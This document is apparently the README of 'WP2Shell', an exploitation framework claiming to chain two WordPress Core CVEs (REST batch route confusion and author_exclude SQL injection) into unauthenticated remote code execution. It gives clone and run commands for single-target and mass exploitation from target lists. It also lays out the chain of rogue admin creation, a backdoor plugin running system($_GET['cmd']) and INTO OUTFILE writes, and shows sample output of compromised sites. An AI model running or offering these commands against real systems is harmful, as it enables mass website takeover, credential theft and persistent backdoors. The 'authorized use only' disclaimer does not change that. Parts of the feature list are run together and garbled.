Modular pre-auth RCE framework chaining a WordPress Core REST batch route confusion auth bypass with an author_exclude SQL injection to create admins and deploy a backdoor plugin.
Pre-auth RCE framework for WordPress Core
CVE-2026-63030 · CVE-2026-60137
by CyphrSec · @kingepepp
CyphrSec WP2Shell is a modular exploitation framework targeting two chained vulnerabilities in WordPress Core:
| CVE | Vulnerability | Impact |
|---|---|---|
| CVE-2026-63030 | REST API batch route confusion | Auth bypass, request desynchronization |
| CVE-2026-60137 | author_exclude SQL injection | Arbitrary SQL, data exfil, admin takeover |
When chained, these yield unauthenticated Remote Code Execution (RCE) on
WordPress Core 6.9.0 – 6.9.4 and 7.0.0 – 7.0.1.
[1] Route confusion → REST batch endpoint bypass
[2] SQL injection → UNION read from wp_users / wp_posts
[3] UNION admin bridge → Create administrator pre-auth
[4] Plugin backdoor → Upload "Astral" plugin
[5] RCE → system($_GET['cmd'])
AUTHORIZED USE ONLY.
This tool is provided strictly for authorized penetration testing, security research, and educational purposes. You must have explicit written permission from the owner of any target before running any component of this framework.
Unauthorized use against systems you do not own violates:
- Computer Fraud and Abuse Act (CFAA) — USA
- UU ITE Pasal 30 — Indonesia
- Computer Misuse Act — UK
- And similar legislation worldwide.
The author assumes no liability for misuse, damage, or legal consequences arising from this tool.
/wp-json/batch/v1 and ?rest_route=/batch/v1$wp_version from a source tree offlineCONCAT(0x7c7c, HEX(...), 0x7c7c)INTO OUTFILE when secure_file_priv allowsphpass cracking fallbacksystem($_GET['cmd'])⬢ ⬡ ⊗ countersgit clone https://github.com/0xCyp1337/CVE-2026-63030-CVE-2026-60137-WP2SHELL.git
cd CVE-2026-63030-CVE-2026-60137-WP2SHELL
chmod +x wp2shell-fullchain.py
No pip install required — everything is stdlib.
python3 wp2shell.py
╭─ MAIN MENU ────────────────────────────────────────────────────────────╮
│ │
│ 1 single target — interactive wizard │
│ 2 mass exploit — targets.txt list │
│ 3 remote scan — version + behavior check │
│ 0 exit │
│ │
╰────────────────────────────────────────────────────────────────────────╯
python3 wp2shell.py single -u https://target.com --cmd id --authorized
Or via interactive menu → option 1.
Example output:
╭─ SINGLE EXPLOIT ───────────────────────────────────────────────────────╮
│ │
│ target : https://target.com/ │
│ cmd : id │
│ │
╰────────────────────────────────────────────────────────────────────────╯
[*] Testing route confusion...
[+] Route confusion confirmed.
[*] Using batch endpoint: https://target.com/?rest_route=/batch/v1
[*] Running timing-based SQL injection test... (SLEEP=2.0s, 7 requests)
[*] SQLi result: vulnerable
[*] Attempting UNION pre-auth admin creation...
[+] Created admin: cyphr_a1b2c3 / Wp2!Xy9zQr7mK
[+] Authenticated as new admin.
[*] Uploading backdoor plugin...
[+] Backdoor plugin installed and activated.
[*] Executing: id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
[!] Clean up the backdoor plugin and the new admin user after testing.
╭─ RESULT ───────────────────────────────────────────────────────────────╮
│ │
│ status : OWNED — RCE confirmed │
│ time : 23.4s │
│ │
╰────────────────────────────────────────────────────────────────────────╯
python3 wp2shell.py exploit -l targets.txt --cmd whoami --authorized -c 10 --delay 2
Or via interactive menu → option 2.
Example output:
╭─ MASS EXPLOIT ─────────────────────────────────────────────────────────╮
│ │
│ targets : 245 workers : 10 delay : 2.0s │
│ cmd : whoami │
│ │
╰────────────────────────────────────────────────────────────────────────╯
⬢ https://site1.com ⬢4 ⬡1 ⊗5
⬢ https://site2.com ⬢5 ⬡1 ⊗5
⊗ https://site3.com ⬢5 ⬡1 ⊗6
⬡ https://site4.com ⬢5 ⬡2 ⊗6
...
╭─ SUMMARY ──────────────────────────────────────────────────────────────╮
│ │
│ ⬢ owned : 12 ⬡ admin : 3 │
│ ⊗ fail : 230 errors : 0 │
│ time : 145.2s │
│ │
╰────────────────────────────────────────────────────────────────────────╯
Legend:
⬢ — owned (full RCE)⬡ — admin created (no RCE sink)⊗ — failed / errorpython3 wp2shell.py remote -l targets.txt --authorized --active-probe -c 20 -f csv -o scan.csv
Or via interactive menu → option 3.
Report formats: table, json, jsonl, csv
CSV columns: